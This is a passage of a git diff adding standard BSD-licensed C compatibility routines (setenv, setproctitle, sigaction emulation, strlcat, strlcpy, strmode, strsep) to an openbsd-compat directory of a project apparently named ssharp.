PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" +#ifndef HAVE_SETENV + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: setenv.c,v 1.3 1998/02/02 22:44:53 millert Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include + +/* + * __findenv -- + * Returns pointer to value associated with name, if any, else NULL. + * Sets offset to be the offset of the name/value combination in the + * environmental array, for use by setenv(3) and unsetenv(3). + * Explicitly removes '=' in argument name. + * + * This routine *should* be a static; don't use it. + */ +char * +__findenv(name, offset) + register const char *name; + int *offset; +{ + extern char **environ; + register int len, i; + register const char *np; + register char **p, *cp; + + if (name == NULL || environ == NULL) + return (NULL); + for (np = name; *np && *np != '='; ++np) + ; + len = np - name; + for (p = environ; (cp = *p) != NULL; ++p) { + for (np = name, i = len; i && *cp; i--) + if (*cp++ != *np++) + break; + if (i == 0 && *cp++ == '=') { + *offset = p - environ; + return (cp); + } + } + return (NULL); +} + +/* + * setenv -- + * Set the value of the environmental variable "name" to be + * "value". If rewrite is set, replace any current value. + */ +int +setenv(name, value, rewrite) + register const char *name; + register const char *value; + int rewrite; +{ + extern char **environ; + static int alloced; /* if allocated space before */ + register char *C; + int l_value, offset; + char *__findenv(); + + if (*value == '=') /* no `=' in value */ + ++value; + l_value = strlen(value); + if ((C = __findenv(name, &offset))) { /* find if already exists */ + if (!rewrite) + return (0); + if (strlen(C) >= l_value) { /* old larger; copy over */ + while ((*C++ = *value++)); + return (0); + } + } else { /* create new slot */ + register int cnt; + register char **P; + + for (P = environ, cnt = 0; *P; ++P, ++cnt); + if (alloced) { /* just increase size */ + P = (char **)realloc((void *)environ, + (size_t)(sizeof(char *) * (cnt + 2))); + if (!P) + return (-1); + environ = P; + } + else { /* get new space */ + alloced = 1; /* copy old entries into it */ + P = (char **)malloc((size_t)(sizeof(char *) * + (cnt + 2))); + if (!P) + return (-1); + memmove(P, environ, cnt * sizeof(char *)); + environ = P; + } + environ[cnt + 1] = NULL; + offset = cnt; + } + for (C = (char *)name; *C && *C != '='; ++C); /* no `=' in name */ + if (!(environ[offset] = /* name + `=' + value */ + malloc((size_t)((int)(C - name) + l_value + 2)))) + return (-1); + for (C = environ[offset]; (*C = *name++) && *C != '='; ++C) + ; + for (*C++ = '='; (*C++ = *value++); ) + ; + return (0); +} + +/* + * unsetenv(name) -- + * Delete environmental variable "name". + */ +void +unsetenv(name) + const char *name; +{ + extern char **environ; + register char **P; + int offset; + char *__findenv(); + + while (__findenv(name, &offset)) /* if set multiple times */ + for (P = &environ[offset];; ++P) + if (!(*P = *(P + 1))) + break; +} + +#endif /* HAVE_SETENV */ diff --git a/other/ssharp/openbsd-compat/setenv.h b/other/ssharp/openbsd-compat/setenv.h new file mode 100644 index 0000000..9670bc9 --- /dev/null +++ b/other/ssharp/openbsd-compat/setenv.h @@ -0,0 +1,14 @@ +/* $Id: setenv.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_SETENV_H +#define _BSD_SETENV_H + +#include "config.h" + +#ifndef HAVE_SETENV + +int setenv(register const char *name, register const char *value, int rewrite); + +#endif /* !HAVE_SETENV */ + +#endif /* _BSD_SETENV_H */ diff --git a/other/ssharp/openbsd-compat/setproctitle.c b/other/ssharp/openbsd-compat/setproctitle.c new file mode 100644 index 0000000..38eca9a --- /dev/null +++ b/other/ssharp/openbsd-compat/setproctitle.c @@ -0,0 +1,102 @@ +/* + * Modified for OpenSSH by Kevin Steves + * October 2000 + */ + +/* + * Copyright (c) 1994, 1995 Christopher G. Demetriou + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Christopher G. Demetriou + * for the NetBSD Project. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#if defined(LIBC_SCCS) && !defined(lint) +static char rcsid[] = "$OpenBSD: setproctitle.c,v 1.7 1999/02/25 22:10:12 art Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include "includes.h" + +#ifndef HAVE_SETPROCTITLE + +#define SPT_NONE 0 +#define SPT_PSTAT 1 + +#ifndef SPT_TYPE +#define SPT_TYPE SPT_NONE +#endif + +#if SPT_TYPE == SPT_PSTAT +#include +#include +#endif /* SPT_TYPE == SPT_PSTAT */ + +#define MAX_PROCTITLE 2048 + +extern char *__progname; + +/* + * Set Process Title (SPT) defines. Modeled after sendmail's + * SPT type definition strategy. + * + * SPT_TYPE: + * + * SPT_NONE: Don't set the process title. Default. + * SPT_PSTAT: Use pstat(PSTAT_SETCMD). HP-UX specific. + */ + +void +setproctitle(const char *fmt, ...) +{ +#if SPT_TYPE != SPT_NONE + va_list ap; + + char buf[MAX_PROCTITLE]; + size_t used; + +#if SPT_TYPE == SPT_PSTAT + union pstun pst; +#endif /* SPT_TYPE == SPT_PSTAT */ + + va_start(ap, fmt); + if (fmt != NULL) { + used = snprintf(buf, MAX_PROCTITLE, "%s: ", __progname); + if (used >= MAX_PROCTITLE) + used = MAX_PROCTITLE - 1; + (void)vsnprintf(buf + used, MAX_PROCTITLE - used, fmt, ap); + } else + (void)snprintf(buf, MAX_PROCTITLE, "%s", __progname); + va_end(ap); + used = strlen(buf); + +#if SPT_TYPE == SPT_PSTAT + pst.pst_command = buf; + pstat(PSTAT_SETCMD, pst, used, 0, 0); +#endif /* SPT_TYPE == SPT_PSTAT */ + +#endif /* SPT_TYPE != SPT_NONE */ +} +#endif /* HAVE_SETPROCTITLE */ diff --git a/other/ssharp/openbsd-compat/setproctitle.h b/other/ssharp/openbsd-compat/setproctitle.h new file mode 100644 index 0000000..8300997 --- /dev/null +++ b/other/ssharp/openbsd-compat/setproctitle.h @@ -0,0 +1,12 @@ +/* $Id: setproctitle.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_SETPROCTITLE_H +#define _BSD_SETPROCTITLE_H + +#include "config.h" + +#ifndef HAVE_SETPROCTITLE +void setproctitle(const char *fmt, ...); +#endif + +#endif /* _BSD_SETPROCTITLE_H */ diff --git a/other/ssharp/openbsd-compat/sigact.c b/other/ssharp/openbsd-compat/sigact.c new file mode 100644 index 0000000..390fbd0 --- /dev/null +++ b/other/ssharp/openbsd-compat/sigact.c @@ -0,0 +1,102 @@ +/* $OpenBSD: sigaction.c,v 1.3 1999/06/27 08:14:21 millert Exp $ */ + +/**************************************************************************** + * Copyright (c) 1998 Free Software Foundation, Inc. * + * * + * Permission is hereby granted, free of charge, to any person obtaining a * + * copy of this software and associated documentation files (the * + * "Software"), to deal in the Software without restriction, including * + * without limitation the rights to use, copy, modify, merge, publish, * + * distribute, distribute with modifications, sublicense, and/or sell * + * copies of the Software, and to permit persons to whom the Software is * + * furnished to do so, subject to the following conditions: * + * * + * The above copyright notice and this permission notice shall be included * + * in all copies or substantial portions of the Software. * + * * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * + * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * + * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * + * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * + * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * + * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * + * * + * Except as contained in this notice, the name(s) of the above copyright * + * holders shall not be used in advertising or otherwise to promote the * + * sale, use or other dealings in this Software without prior written * + * authorization. * + ****************************************************************************/ + +/**************************************************************************** + * Author: Zeyd M. Ben-Halim 1992,1995 * + * and: Eric S. Raymond * + ****************************************************************************/ + +#include +#include "config.h" +#include "sigact.h" + +/* This file provides sigaction() emulation using sigvec() */ +/* Use only if this is non POSIX system */ + +#if !HAVE_SIGACTION && HAVE_SIGVEC + +int +sigaction(int sig, struct sigaction *sigact, struct sigaction *osigact) +{ + return sigvec(sig, &(sigact->sv), &(osigact->sv)); +} + +int +sigemptyset (sigset_t * mask) +{ + *mask = 0; + return 0; +} + +int +sigprocmask (int mode, sigset_t * mask, sigset_t * omask) +{ + sigset_t current = sigsetmask(0); + + if (omask) *omask = current; + + if (mode==SIG_BLOCK) + current |= *mask; + else if (mode==SIG_UNBLOCK) + current &= ~*mask; + else if (mode==SIG_SETMASK) + current = *mask; + + sigsetmask(current); + return 0; +} + +int +sigsuspend (sigset_t * mask) +{ + return sigpause(*mask); +} + +int +sigdelset (sigset_t * mask, int sig) +{ + *mask &= ~sigmask(sig); + return 0; +} + +int +sigaddset (sigset_t * mask, int sig) +{ + *mask |= sigmask(sig); + return 0; +} + +int +sigismember (sigset_t * mask, int sig) +{ + return (*mask & sigmask(sig)) != 0; +} + +#endif diff --git a/other/ssharp/openbsd-compat/sigact.h b/other/ssharp/openbsd-compat/sigact.h new file mode 100644 index 0000000..b37c1f8 --- /dev/null +++ b/other/ssharp/openbsd-compat/sigact.h @@ -0,0 +1,88 @@ +/* $OpenBSD: SigAction.h,v 1.2 1999/06/27 08:15:19 millert Exp $ */ + +/**************************************************************************** + * Copyright (c) 1998 Free Software Foundation, Inc. * + * * + * Permission is hereby granted, free of charge, to any person obtaining a * + * copy of this software and associated documentation files (the * + * "Software"), to deal in the Software without restriction, including * + * without limitation the rights to use, copy, modify, merge, publish, * + * distribute, distribute with modifications, sublicense, and/or sell * + * copies of the Software, and to permit persons to whom the Software is * + * furnished to do so, subject to the following conditions: * + * * + * The above copyright notice and this permission notice shall be included * + * in all copies or substantial portions of the Software. * + * * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * + * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * + * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * + * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * + * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * + * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * + * * + * Except as contained in this notice, the name(s) of the above copyright * + * holders shall not be used in advertising or otherwise to promote the * + * sale, use or other dealings in this Software without prior written * + * authorization. * + ****************************************************************************/ + +/**************************************************************************** + * Author: Zeyd M. Ben-Halim 1992,1995 * + * and: Eric S. Raymond * + ****************************************************************************/ + +/* + * $From: SigAction.h,v 1.5 1999/06/19 23:00:54 tom Exp $ + * + * This file exists to handle non-POSIX systems which don't have , + * and usually no sigaction() nor + */ + +#ifndef _SIGACTION_H +#define _SIGACTION_H + +#if !defined(HAVE_SIGACTION) && defined(HAVE_SIGVEC) + +#undef SIG_BLOCK +#define SIG_BLOCK 00 + +#undef SIG_UNBLOCK +#define SIG_UNBLOCK 01 + +#undef SIG_SETMASK +#define SIG_SETMASK 02 + +/* + * is in the Linux 1.2.8 + gcc 2.7.0 configuration, + * and is useful for testing this header file. + */ +#if HAVE_BSD_SIGNAL_H +# include +#endif + +struct sigaction +{ + struct sigvec sv; +}; + +typedef unsigned long sigset_t; + +#undef sa_mask +#define sa_mask sv.sv_mask +#undef sa_handler +#define sa_handler sv.sv_handler +#undef sa_flags +#define sa_flags sv.sv_flags + +int sigaction(int sig, struct sigaction *sigact, struct sigaction *osigact); +int sigprocmask (int how, sigset_t *mask, sigset_t *omask); +int sigemptyset (sigset_t *mask); +int sigsuspend (sigset_t *mask); +int sigdelset (sigset_t *mask, int sig); +int sigaddset (sigset_t *mask, int sig); + +#endif /* !defined(HAVE_SIGACTION) && defined(HAVE_SIGVEC) */ + +#endif /* !defined(_SIGACTION_H) */ diff --git a/other/ssharp/openbsd-compat/strlcat.c b/other/ssharp/openbsd-compat/strlcat.c new file mode 100644 index 0000000..7631d96 --- /dev/null +++ b/other/ssharp/openbsd-compat/strlcat.c @@ -0,0 +1,77 @@ +/* $OpenBSD: strlcat.c,v 1.5 2001/01/13 16:17:24 millert Exp $ */ + +/* + * Copyright (c) 1998 Todd C. Miller + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, + * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY + * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL + * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; + * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "config.h" +#ifndef HAVE_STRLCAT + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: strlcat.c,v 1.5 2001/01/13 16:17:24 millert Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include + +/* + * Appends src to string dst of size siz (unlike strncat, siz is the + * full size of dst, not space left). At most siz-1 characters + * will be copied. Always NUL terminates (unless siz <= strlen(dst)). + * Returns strlen(initial dst) + strlen(src); if retval >= siz, + * truncation occurred. + */ +size_t strlcat(dst, src, siz) + char *dst; + const char *src; + size_t siz; +{ + register char *d = dst; + register const char *s = src; + register size_t n = siz; + size_t dlen; + + /* Find the end of dst and adjust bytes left but don't go past end */ + while (n-- != 0 && *d != '\0') + d++; + dlen = d - dst; + n = siz - dlen; + + if (n == 0) + return(dlen + strlen(s)); + while (*s != '\0') { + if (n != 1) { + *d++ = *s; + n--; + } + s++; + } + *d = '\0'; + + return(dlen + (s - src)); /* count does not include NUL */ +} + +#endif /* !HAVE_STRLCAT */ diff --git a/other/ssharp/openbsd-compat/strlcat.h b/other/ssharp/openbsd-compat/strlcat.h new file mode 100644 index 0000000..a903618 --- /dev/null +++ b/other/ssharp/openbsd-compat/strlcat.h @@ -0,0 +1,12 @@ +/* $Id: strlcat.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_STRLCAT_H +#define _BSD_STRLCAT_H + +#include "config.h" +#ifndef HAVE_STRLCAT +#include +size_t strlcat(char *dst, const char *src, size_t siz); +#endif /* !HAVE_STRLCAT */ + +#endif /* _BSD_STRLCAT_H */ diff --git a/other/ssharp/openbsd-compat/strlcpy.c b/other/ssharp/openbsd-compat/strlcpy.c new file mode 100644 index 0000000..276c25c --- /dev/null +++ b/other/ssharp/openbsd-compat/strlcpy.c @@ -0,0 +1,73 @@ +/* $OpenBSD: strlcpy.c,v 1.4 1999/05/01 18:56:41 millert Exp $ */ + +/* + * Copyright (c) 1998 Todd C. Miller + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, + * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY + * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL + * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; + * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "config.h" +#ifndef HAVE_STRLCPY + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: strlcpy.c,v 1.4 1999/05/01 18:56:41 millert Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include + +/* + * Copy src to string dst of size siz. At most siz-1 characters + * will be copied. Always NUL terminates (unless siz == 0). + * Returns strlen(src); if retval >= siz, truncation occurred. + */ +size_t strlcpy(dst, src, siz) + char *dst; + const char *src; + size_t siz; +{ + register char *d = dst; + register const char *s = src; + register size_t n = siz; + + /* Copy as many bytes as will fit */ + if (n != 0 && --n != 0) { + do { + if ((*d++ = *s++) == 0) + break; + } while (--n != 0); + } + + /* Not enough room in dst, add NUL and traverse rest of src */ + if (n == 0) { + if (siz != 0) + *d = '\0'; /* NUL-terminate dst */ + while (*s++) + ; + } + + return(s - src - 1); /* count does not include NUL */ +} + +#endif /* !HAVE_STRLCPY */ diff --git a/other/ssharp/openbsd-compat/strlcpy.h b/other/ssharp/openbsd-compat/strlcpy.h new file mode 100644 index 0000000..9c7c21b --- /dev/null +++ b/other/ssharp/openbsd-compat/strlcpy.h @@ -0,0 +1,12 @@ +/* $Id: strlcpy.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_STRLCPY_H +#define _BSD_STRLCPY_H + +#include "config.h" +#ifndef HAVE_STRLCPY +#include +size_t strlcpy(char *dst, const char *src, size_t siz); +#endif /* !HAVE_STRLCPY */ + +#endif /* _BSD_STRLCPY_H */ diff --git a/other/ssharp/openbsd-compat/strmode.c b/other/ssharp/openbsd-compat/strmode.c new file mode 100644 index 0000000..67e0e4d --- /dev/null +++ b/other/ssharp/openbsd-compat/strmode.c @@ -0,0 +1,158 @@ +/*- + * Copyright (c) 1990 The Regents of the University of California. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "includes.h" +#ifndef HAVE_STRMODE + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: strmode.c,v 1.3 1997/06/13 13:57:20 deraadt Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include +#include + +void +strmode(mode, p) + register mode_t mode; + register char *p; +{ + /* print type */ + switch (mode & S_IFMT) { + case S_IFDIR: /* directory */ + *p++ = 'd'; + break; + case S_IFCHR: /* character special */ + *p++ = 'c'; + break; + case S_IFBLK: /* block special */ + *p++ = 'b'; + break; + case S_IFREG: /* regular */ + *p++ = '-'; + break; + case S_IFLNK: /* symbolic link */ + *p++ = 'l'; + break; +#ifdef S_IFSOCK + case S_IFSOCK: /* socket */ + *p++ = 's'; + break; +#endif +#ifdef S_IFIFO + case S_IFIFO: /* fifo */ + *p++ = 'p'; + break; +#endif +#ifdef S_IFWHT + case S_IFWHT: /* whiteout */ + *p++ = 'w'; + break; +#endif + default: /* unknown */ + *p++ = '?'; + break; + } + /* usr */ + if (mode & S_IRUSR) + *p++ = 'r'; + else + *p++ = '-'; + if (mode & S_IWUSR) + *p++ = 'w'; + else + *p++ = '-'; + switch (mode & (S_IXUSR | S_ISUID)) { + case 0: + *p++ = '-'; + break; + case S_IXUSR: + *p++ = 'x'; + break; + case S_ISUID: + *p++ = 'S'; + break; + case S_IXUSR | S_ISUID: + *p++ = 's'; + break; + } + /* group */ + if (mode & S_IRGRP) + *p++ = 'r'; + else + *p++ = '-'; + if (mode & S_IWGRP) + *p++ = 'w'; + else + *p++ = '-'; + switch (mode & (S_IXGRP | S_ISGID)) { + case 0: + *p++ = '-'; + break; + case S_IXGRP: + *p++ = 'x'; + break; + case S_ISGID: + *p++ = 'S'; + break; + case S_IXGRP | S_ISGID: + *p++ = 's'; + break; + } + /* other */ + if (mode & S_IROTH) + *p++ = 'r'; + else + *p++ = '-'; + if (mode & S_IWOTH) + *p++ = 'w'; + else + *p++ = '-'; + switch (mode & (S_IXOTH | S_ISVTX)) { + case 0: + *p++ = '-'; + break; + case S_IXOTH: + *p++ = 'x'; + break; + case S_ISVTX: + *p++ = 'T'; + break; + case S_IXOTH | S_ISVTX: + *p++ = 't'; + break; + } + *p++ = ' '; /* will be a '+' if ACL's implemented */ + *p = '\0'; +} +#endif diff --git a/other/ssharp/openbsd-compat/strmode.h b/other/ssharp/openbsd-compat/strmode.h new file mode 100644 index 0000000..c1f5623 --- /dev/null +++ b/other/ssharp/openbsd-compat/strmode.h @@ -0,0 +1,7 @@ +/* $Id: strmode.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef HAVE_STRMODE + +void strmode( register mode_t mode, register char *p); + +#endif diff --git a/other/ssharp/openbsd-compat/strsep.c b/other/ssharp/openbsd-compat/strsep.c new file mode 100644 index 0000000..c03649c --- /dev/null +++ b/other/ssharp/openbsd-compat/strsep.c @@ -0,0 +1,89 @@ +/* $OpenBSD: strsep.c,v 1.3 1997/08/20 04:28:14 millert Exp $ */ + +/*- + * Copyright (c) 1990, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" + +#if !defined(HAVE_STRSEP) + +#include +#include + +#if defined(LIBC_SCCS) && !defined(lint) +#if 0 +static char sccsid[] = "@(#)strsep.c 8.1 (Berkeley) 6/4/93"; +#else +static char *rcsid = "$OpenBSD: strsep.c,v 1.3 1997/08/20 04:28:14 millert Exp $"; +#endif +#endif /* LIBC_SCCS and not lint */ + +/* + * Get next token from string *stringp, where tokens are possibly-empty + * strings separated by characters from delim. + * + * Writes NULs into the string at *stringp to end tokens. + * delim need not remain constant from call to call. + * On return, *stringp points past the last NUL written (if there might + * be further tokens), or is NULL (if there are definitely no more tokens). + * + * If *stringp is NULL, strsep returns NULL. + */ +char * +strsep(char **stringp, const char *delim) +{ + register char *s; + register const char *spanp; + register int c, sc; + char *tok; + + if ((s = *stringp) == NULL) + return (NULL); + for (tok = s;;) { + c = *s++; + spanp = delim; + do { + if ((sc = *spanp++) == c) { + if (c == 0) + s = NULL; + else + s[-1] = 0; + *stringp = s; + return (tok); + } + } while (sc != 0); + } + /* NOTREACHED */ +} + +#endif /* !defined(HAVE_STRSEP) */ diff --git a/other/ssharp/openbsd-compat/strsep.h b/other/ssharp/openbsd-compat/strsep.h new file mode 100644 index 0000000..b57ec7b --- /dev/null +++ b/other/ssharp/openbsd-compat/strsep.h @@ -0,0 +1,12 @@ +/* $Id: strsep.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_STRSEP_H +#define _BSD_STRSEP_H + +#include "config.h" + +#ifndef HAVE_STRSEP +char *strsep(char **stringp, const char *delim); +#endif /* HAVE_STRSEP */ + +#endif /* _BSD_STRSEP_H */ diff --git a/other/ssharp/openbsd-compat/strtok.c b/other/ssharp/openbsd-compat/strtok.c new file mode 100644 index 0000000..6ce6f9a --- /dev/null +++ b/other/ssharp/openbsd-compat/strtok.c @@ -0,0 +1,92 @@ +/* + * Copyright (c) 1988 Regents of the University of California. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR 